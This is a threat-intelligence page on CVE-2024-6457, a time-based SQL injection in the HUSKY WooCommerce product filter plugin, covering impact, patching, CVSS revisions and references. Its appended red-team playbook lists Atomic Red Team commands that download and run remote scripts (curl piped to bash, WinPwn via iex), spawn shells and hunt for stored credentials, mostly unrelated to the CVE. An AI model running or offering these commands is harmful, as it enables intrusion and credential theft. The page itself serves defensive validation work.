CVE-2024-6457
Overview
This vulnerability is a time-based SQL Injection affecting the HUSKY – Products Filter Professional for WooCommerce WordPress plugin. The root cause is insufficient escaping and lack of prepared statements for the 'woof_author' parameter within the SQL query construction. This flaw resides in the plugin's filtering component that processes user-supplied input to generate database queries.
Vulnerability Description
The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the ‘woof_author’ parameter in all versions up to, and including, 1.3.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability over the network to perform time-based blind SQL Injection attacks, enabling extraction of sensitive database information. No user interaction or privileges are required, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. The attacker can manipulate database queries to access or exfiltrate confidential data, potentially compromising the integrity and confidentiality of the affected WordPress site’s backend data.
Solution
Users should upgrade the HUSKY – Products Filter Professional for WooCommerce plugin to a version later than 1.3.6 where this vulnerability is addressed. Detailed patch information and remediation steps are available through the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/ecfdf7b1-9bb8-4c1d-a00a-ca1e44440cab. Reviewing the changeset at https://plugins.trac.wordpress.org/changeset/3116888/ confirms the implementation of proper input sanitization and prepared statements for the 'woof_author' parameter.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the HUSKY – Products Filter Professional for WooCommerce plugin stems from a time-based SQL Injection flaw associated with the ‘woof_author’ parameter. This weakness arises from inadequate escaping of user-supplied input and insufficient preparation of the SQL query, which allows attackers to manipulate the SQL statements executed by the application. When an attacker sends specially crafted requests to the affected plugin, they can inject additional SQL commands into the existing queries. This manipulation can lead to unauthorized access to sensitive data stored in the database, including user information, product details, and potentially administrative credentials.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker can leverage the flaw by crafting requests that exploit the SQL injection vulnerability. For instance, an attacker could use a web application testing tool to automate the injection process, sending multiple requests to the server to determine the structure of the database and extract sensitive information. By timing the responses from the server, the attacker can infer the existence and content of data in the database, effectively bypassing authentication mechanisms and accessing restricted information. This type of attack is particularly insidious because it does not require any prior authentication, making it accessible to a wide range of malicious actors.
The real-world impact of this vulnerability can be significant for businesses utilizing the affected plugin. The ability to extract sensitive information can lead to data breaches, which may result in financial losses, reputational damage, and legal ramifications. For e-commerce platforms, the exposure of customer data, including payment information and personal details, can lead to identity theft and fraud. Furthermore, businesses may face regulatory scrutiny and potential penalties if they fail to protect user data adequately. The long-term consequences of a successful attack can include loss of customer trust, decreased sales, and increased costs associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities in web applications. Employing web application firewalls (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the application. Additionally, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to prevent SQL injection vulnerabilities from being introduced in the first place. Keeping the plugin and all associated components up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the SQL injection vulnerability in the HUSKY – Products Filter Professional for WooCommerce plugin represents a serious threat to the security of WordPress-based e-commerce sites. The potential for unauthorized data access poses significant risks to businesses, making it imperative for organizations to prioritize security measures. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, businesses can better protect themselves against this and similar threats in the future.
CSURFACE threat intelligence has updated the severity rating of CVE-2024-6457, elevating its CVSS score from 7.5 to 9.8. This adjustment reflects a refined understanding of the vulnerability’s impact, particularly emphasizing its critical potential for unauthenticated attackers to perform time-based SQL injection attacks that can exfiltrate sensitive data from WordPress e-commerce databases. Although our telemetry does not indicate a surge in active exploitation or the emergence of new proof-of-concept exploits, the heightened severity underscores the urgency for defenders to reassess their risk posture. The stable EPSS score suggests that while exploitation attempts remain steady, the critical nature of this vulnerability increases the likelihood of targeted attacks, especially given the widespread use of the affected plugin. Consequently, organizations relying on the HUSKY – Products Filter Professional for WooCommerce plugin should consider this vulnerability a top-tier threat, as the elevated CVSS score signals a greater potential for impactful breaches if left unaddressed.
Update 2 — May 21, 2026
The recent downward revision of the CVSS score for CVE-2024-6457 from 9.8 to 7.5 reflects a refined understanding of the vulnerability’s exploitability and impact. CSURFACE threat intelligence attributes this adjustment to improved contextual analysis of the attack vector and the conditions required for successful exploitation, indicating that while the vulnerability remains serious, it is less likely to be trivially exploited at scale. Our telemetry confirms the EPSS score has stabilized without a notable increase in exploitation attempts, suggesting threat actors have not accelerated offensive operations targeting this flaw. This recalibration is significant for defenders as it nuances the prioritization of patching and monitoring efforts; the vulnerability still demands attention due to its potential for sensitive data extraction via unauthenticated SQL injection, but it may not represent an immediate critical emergency. The overall threat level remains high, yet the reduced severity score signals a more measured risk environment, allowing security teams to balance resource allocation more effectively amid competing priorities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Pluginus | Husky - Products Filter Professional For Woocommerce | All |
cpe:2.3:a:pluginus:husky_-_products_filter_professional_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6457 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ecfdf7b1-9bb8-4c1d-a00a-ca1e44440cab?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/woocommerce-products-filter/trunk/ext/by_author/index.php#L102 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3116888/ |